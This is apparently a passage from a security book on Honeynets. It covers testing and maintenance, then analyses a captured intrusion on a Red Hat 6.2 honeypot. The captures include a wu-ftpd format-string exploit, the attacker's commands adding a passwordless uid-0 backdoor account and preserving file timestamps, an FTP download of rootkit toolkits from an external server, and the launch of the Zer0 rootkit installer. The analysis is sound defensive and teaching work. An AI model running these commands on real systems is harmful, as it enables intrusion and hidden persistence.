Libros seleccionados

A variety of elements are required to effectively control and capture the activity that happens within a Honeynet. Because of their complexity, Honeynets are extremely difficult and time consuming to deploy and maintain. Honeynets are so resource intensive that most organizations choose not to deploy them, and rightfully so. However, if you and your organization are committed to deploying a Honeynet, there are several issues to a successful deployment.

The first step to deploying a Honeynet is making sure the data control and data capture functionality works. Several different technologies must function correctly, both individually and in concert with one another. It is extremely easy for something to go wrong. A misconfigured configuration file can cause the IDS system to fail on startup, or an incorrect file permission can cause a process to die. To test the data control, you must initiate a connection to the Honeynet network. You are attempting to confirm if the alerting mechanisms detect the connections and alert the proper people. Also, you need to confirm if the attempts are logged. It is even more important is to test the outbound connections. Does the Honeynet gateway track the connection and contain malicious activity? For GenI Honeynets, are outbound connections detected and counted, and are they blocked when the limit is reached? For GenII Honeynets, is the signature database able to successfully detect attacks, and are the attacks disabled?

After the data control testing, review your data capture mechanisms. You want to confirm that these mechanisms successfully capture your testing activity. Did the remote syslog server log the connections, and did the IDS sensor capture the network activity, including packet payload?

Finally, if you are using data collection, test the upload procedures. You want to confirm that the information is securely uploaded to the central storage systems. You also want to confirm that the proper information was uploaded in the proper format.

Once you have successfully deployed and tested the Honeynet, the next step is maintaining it. Once again, this is a very time-consuming and resource-intensive process. Honeynets do not require a lot of bandwidth, nor do they require very fast computers. However, they do consume your more precious resources: people and time. Maintaining Honeynets requires continuous care and feeding from dedicated personnel. Because of all the involved technologies, something always needs to be upgraded, updated, or modified. For example, the IDS sensor needs to have its signature database constantly updated. This ensures it can detect and react to the latest attacks. The firewall solution has to be patched to ensure it is protected against the latest vulnerabilities. System logs and archives have to be checked to ensure they are working properly. A common occurrence is for a process to die so system administrators no longer receive any alerts. The more activity that occurs for a security

mechanism, the more that can fail or go wrong. Few security mechanisms have more dependencies than a Honeynet.

Another critical component of deploying a Honeynet is reacting quickly to an attack. Honeynets have their greatest value if an attack can be monitored in real time. Real-time monitoring allows administrators to modify the data control mechanisms on the fly. Perhaps you witness a new attack, generating information of high value. In this new attack, the blackhat initiates a large amount of outbound connections. You may determine that these outbound connections are harmless, such as multiple attempts to initiate an IRC connection. Automated data control mechanisms would quickly block multiple outbound attempts. However, if you have real-time access, you can modify the data control mechanisms to allow these specific attempts, increasing the data capture while still controlling risk. In events like these the ability to respond immediately to an attack can be very valuable.

Information Gathering: An Example Attack

After all this discussion on how complex and involved Honeynets are, at this point you most likely are wondering, Why bother? The reason to use Honeynets is because no other honeypot solution can gather more information about an attacker. As a high-interaction technology, Honeynets gather information not only on attacks but on the attackers themselves. Like ManTrap, discussed in the previous chapter, Honeynets can gather every operation of attackers, from their tools to their keystrokes. However, Honeynets have some additional advantages over solutions such as ManTrap. Honeynets are not limited to a single operating system or software solution. Remember, Honeynets are nothing more than an architecture. You can place whatever you want within that architecture. If you want to place a Linux Web server, a Windows fileserver, or Mac OSX desktop, any of these systems can be placed within a Honeynet and monitored. You have very few limitations. Also, Honeynets can create an actual network. You can place as many systems as you want, creating an actual networked environment.

To demonstrate the information-gathering capabilities of a Honeynet, let's review an attack against a Linux Redhat system placed within it. This system is simply a default installation of a Red Hat 6.2 server. The

Honeynet is a GenI Honeynet within a VMware environment, demonstrating that virtual Honeynets can be just as effective as a traditional Honeynet. Figure 11-10 shows how this Honeynet was deployed. A Linux firewall running IPTables is used for data control. It allows users to connect inbound but limits the amount of connections outbound. This protects the honeypot from being used to attack other non-Honeynet systems.

Figure 11-10. A virtual Honeynet using a GenI architecture. All three systems are running on a single, physical computer with VMware.

The second system is a syslog server. This system's purpose is to receive and store any logs sent by the honeypot. The third system is the honeypot itself, the Linux Red Hat 6.2 server, IP address 192.168.1.102. Keep in mind that all three of these operating systems are running the same time on the same system in VMware.

For data capture we are running the OpenSource IDS Snort on the firewall. This captures and logs all inbound and outbound activity and alerts to any attacks. Also, the shell on the Linux honeypot has been modified to capture all of the attackers' activities and forward them to the remote log server. Even if an attacker uses

encryption, such as SSH, to communicate with the honeypot, all of her activities will be logged and forwarded to the syslog server. If the syslog server is compromised by the attacker, Snort passively captures all logs, acting like a passive log server. In fact, in the cases of this attack, the system logs were recovered and analyzed using the Snort capture of syslogd traffic (UDP port 514).

We begin the attack with our first alert—in this case the IDS sensor alerts us that an attack was launched. An intruder uses a commonly known FTP attack against the server's FTP service. Snort generates the alert seen in Figure 11-11. This is a high-priority alert; an actual exploit attack was detected. The alert quickly gives us the critical information—in this case an attack may have been launched against the FTP service on the system 192.168.1.102.

Figure 11-11 IDS Snort sensor detecting and generating an alert to a known FTP attack against the honeypot

[**] [1:338:1] FTP EXPLOIT format string [**]

[Classification: Attempted User Privilege Gain] [Priority: 1] 09/16-17:55:52.235847 207.35.251.172:2243 -> 192.168.1.102:21 TCP TTL:48 TOS:0x0 ID:16648 IpLen:20 DgmLen:76 DF

***AP*** Seq: 0xCF7869CC Ack: 0xEBCD7EC0 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 237391678 29673183

[Xref => http://www.whitehats.com/info/IDS453]

However, with Honeynets we are not limited to IDS alerts for information. We review the system logs of the honeypot (Figure 11-12). The attacker comes in from the IP address, 207.35.251.172, and logs into the FTP server (required for this attack). The system log even records the intruder's anonymous password— in this case

mozilla@—which is boldfaced.

Figure 11-12 System logs recorded from the Linux honeypot

ftpd[5609]: ANONYMOUS FTP LOGIN FROM 207.35.251.172 [207.35.251.172],

mozilla@

A third source of information is the actual packets and the full payload. We can extract the network captures and analyze the attacker's activities to include her keystrokes. In this case, as shown in Figure 11-13, the attack was launched against the FTP server, TCP port 21. By analyzing the packets sent against this port, we can determine what the attacker's activities were at the network level. The network captures at port 21 confirm an FTP attack is launched. Once again, we even capture the attacker's login and password (boldfaced) in Figure 11-13. At the bottom of the figure we see the actual exploit launched against the honeypot. This confirms that an attack has been launched.

Figure 11-13 Commands executed against the honeypot. These commands were reconstructed using the packet traces captured by the IDS sensor.

220 ns1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.

USER ftp

331 Guest login ok, send your complete e-mail address as password. PASS mozilla@

230 Guest login ok, access restrictions apply. 200-00000000000000000049|0-2| 200 (end of '%020d|%.f%.f|') 200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000- 200000000000000000000000000000000000000000000000000000000000000000000000 000-2- 240nan|bfffdc7e|00000000| 200 (end of '7 mnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f% .f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f

%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f% .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f% .f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x| ')

These three sources of information—the IDS alert, system logs, and network captures—demonstrate the different layers of information gathering for Honeynets. These layers also confirm that an attack has indeed been

launched. Now we need to confirm whether the attack was successful and, if so, what the attacker's actions were. To determine if the attack was successful, we once again look at the network captures of the attacker's activity. In this case, we continue to review all activity to port 21, the FTP. This was the port that was attacked with the exploit. One of the results of the exploit was to create a shell for the intruder to interact with. This shell gave the intruder superuser access to the system. By reviewing this data, specifically the attacker's keystrokes, we can gain a better understanding of how he operates, the tools he uses, his skill level, and even potential motives. For example, in the following keystrokes we see the attacker gaining control of the system. The attacker begins by removing any passwords from the system account nobody. This means the attacker can now access the compromised system using this legitimate account.

passwd nobody -d

Changing password for user nobody Removing password for user nobody passwd: Success

We then get an understanding of the attacker's skill level. By analyzing the timestamps of all of the network packet traces, we determine the following commands are executed in less than one second.

mkdir -p /etc/X11/applnk/Internet/.etc

mkdir -p /etc/X11/applnk/Internet/.etcpasswd

touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd touch -acmr /etc /etc/X11/applnk/Internet/.etc

passwd nobody -d

/usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash passwd dns -d

Since no one can type all of these commands in under a second, the attacker must be using either a script or cut- and-paste commands from a template. This implies we have an attacker attacking multiple systems; they are trying to save time and effort. We may also have a script kiddie, someone who does not know what commands to execute and is simply following a template.

In the commands we first see, our attacker creates two hidden directories on the system. He then uses the

touch(1) command to capture the file attributes of the /etc/passwd and /etc file and save them to the two newly created directories. This will allow the attacker to hide his tracks at a later date by resetting the MAC times to their original attributes. The purpose of this is to make it much more difficult for a security professional to conduct a forensic analysis of the compromised system. These are the actions of a more sophisticated attacker. Unfortunately, our attacker executes these commands in the wrong order. He has already modified the MAC times of the /etc/passwd file by removing any password to the nobody account. Our attacker is not as sophisticated as he thinks he is and is just simplying executing a script he did not write—apparently not even knowing how to use it properly. The attacker finishes by creating a new user account, dns, with uid 0. This will give the attacker superuser access to the compromised system.

With the information captured from the network (Figure 11-14), we can determine how our attacker proceeded to take over the hacked computer. He begins by Telneting into our system from a different IP address:

217.156.93.166. He logs in with the nobody account and then elevates to superuser access with the dns account, the account he just added. From there he FTPs to a server based in Romania, teleport.go.ro, downloads three toolkits (Zer0.tar.gz, copy.tar.gz,ooty.tar.gz), and then installs Zer0 by executing the script

Figure 11-14 Keystrokes of the attacker downloading three toolkits to the compromised honeypot. Once downloaded, the attacker proceeds to install the Zer0 toolkit by executing the install script Go.

[root@ns1 rd]# mkdir sdc0 [root@ns1 rd]# cd sdc0 [root@ns1 sdc0]# ls [root@ns1 sdc0]# ftp teleport.go.ro Connected to teleport.go.ro. 220- 220- 220- H O M E . R O 220-

220- This server is for HOME.RO members only. 220- Go to http://www.home.ro/ to register. 220-

220- No anonymous access allowed. 220-

220-

220 ProFTPD 1.2.2rc3 Server (HOME.RO Members FTP) [193.231.236.42] Name (teleport.go.ro:nobody): teleport

331 Password required for teleport. Password:

230 User teleport logged in. Remote system type is UNIX.

Using binary mode to transfer files. ftp> cd new

250 CWD command successful. ftp> get Zer0.tar.gz

local: Zer0.tar.gz remote: Zer0.tar.gz 200 PORT command successful.

150 Opening BINARY mode data connection for Zer0.tar.gz (139711 bytes). 226 Transfer complete.

139711 bytes received in 7.76 secs (18 Kbytes/sec) ftp> by get copy.tar.gz

local: copy.tar.gz remote: copy.tar.gz 200 PORT command successful.

150 Opening BINARY mode data connection for copy.tar.gz (265189 bytes). 226 Transfer complete.

265189 bytes received in 14.6 secs (18 Kbytes/sec) ftp> get ooty.tar.gz

local: ooty.tar.gz remote: ooty.tar.gz 200 PORT command successful.

150 Opening BINARY mode data connection for ooty.tar.gz (14847 bytes). 226 Transfer complete.

14847 bytes received in 0.856 secs (17 Kbytes/sec) ftp> bye

221 Goodbye.

[root@ns1 sdc0]# tar zxvf Zer0.tar.gz Zer0/

tar: Archive contains future timestamp 2001-09-16 20:26:34 Zer0/Go

Zer0/ssh.tgz Zer0/tls.tgz Zer0/adr.tgz Zer0/adr2.tgz

Zer0/adore.h

[root@ns1 sdc0]# ./Zer0/Go

Zer0 is a rootkit that executes a variety of measures to hide and protect the attacker. First, log files are cleared on the local system, including system binary log files. Then a kernel rootkit is installed to hide the attacker's action. Kernel rootkits are very effective and difficult to detect. Even if the administrator loads new, trusted binaries on the system, the computer will still lie to the administrator, since the kernel itself has been modified. The rootkit also installs a Trojaned version of SSH, ensuring the attacker has another way to access the system.

There are several ways these toolkits can be recovered by the system administrator. The first is to access the honeypot directly and download the toolkit from the system. Even if the attacker deleted the files, they can still most likely be recovered. However, this will pollute the honeypot with outside data. Another option is to recover the file from the network capture. It is actually possible to take the network captures and rebuild the downloaded binaries. The advantage to this method is that there is no data pollution of the honeypot.

Our attacker then returns to the system. This time, however, he uses the Trojaned SSH that the Zer0 rootkit installed. This version of SSH is listening on port 24 as opposed to the standard port 22. Snort captures the activity at the network level, but it is encrypted. If you look at Figure 11-15, you will see a network capture of the encrypted session, unintelligible gibberish, encryption. The ASCII column on the right should show the attacker's activities, but they are encrypted (boldface). This means we need some other layer of information gathering to study our attacker.

Figure 11-15 Network capture of an encrypted SSH session. This demonstrates that encrypted data cannot be recovered from the network level.

09/16-18:51:59.546344 192.168.1.102:24 -> 217.156.93.166:61223 TCP TTL:64 TOS:0x10 ID:12867 IpLen:20 DgmLen:316 DF

***AP*** Seq: 0xA14E4619 Ack: 0x282612A Win: 0x7D78 TcpLen: 20

00 00 01 0B 00 00 00 00 00 02 8C CC 94 7E 92 EA ...~.. BE 65 00 00 03 00 00 06 25 03 00 D4 19 C3 D3 4F .e...%...O BC 63 12 A9 F7 93 28 72 AF E5 86 05 6E 74 B3 B2 .c....(r....nt.. 0B 2E 09 98 E8 62 AF 24 75 AA 50 BD 03 4B 9E ED ...b.$u.P..K.. DF D2 2E 14 03 83 48 FA D4 60 E0 93 07 7C A4 5D ...H..`...|.] DA 54 85 25 55 F7 F0 69 01 46 15 74 CA 63 0A 2F .T.%U..i.F.t.c./ 21 1E 97 63 28 15 54 28 1B B9 51 0C 7E 05 03 DE !..c(.T(..Q.~... CF CE 86 EB 20 8C 14 41 6C FE 6B 00 00 04 00 00 .... ..Al.k... 06 25 04 00 E7 B4 45 D3 6A DF 4A 08 3D 51 A9 04 .%....E.j.J.=Q.. 59 2A 86 F1 D7 F5 39 29 AF 82 F0 E0 6A 53 E1 97 Y*....9)....jS.. C3 84 28 1D 58 42 FE D1 06 D9 32 E1 EB 37 04 DD ..(.XB....2..7.. F0 2F 7A B5 09 26 A4 8B E2 BB B8 1E EC 4B 71 C7 ./z..&...Kq. 2F 77 94 55 9D 35 01 00 F9 01 F8 C4 B9 67 E6 26 /w.U.5...g.& B1 AA C3 3B B9 19 28 7E 9B A4 5D D5 C0 F9 75 F2 ...;..(~..]...u. EC 0D 0C 07 03 15 F4 B5 68 73 56 F7 A5 52 3F 2D ...hsV..R?- C2 BC F7 78 36 5D 76 67 75 4F 29 B4 CF 59 5F 4B ...x6]vguO)..Y_K C5 A8 9C 09 00 00 00 02 00 00 00 4A 00 00 00 1C ...J.... D6 C3 54 49 ..TI

Fortunately, we have alternative methods of gathering information. With ManTrap, we had the capability to monitor the kernel activity. For the Honeynet, we capture the attacker's keystrokes with a modified version of

/bin/bash. These modifications forward all keystrokes to the secured log server. We can now monitor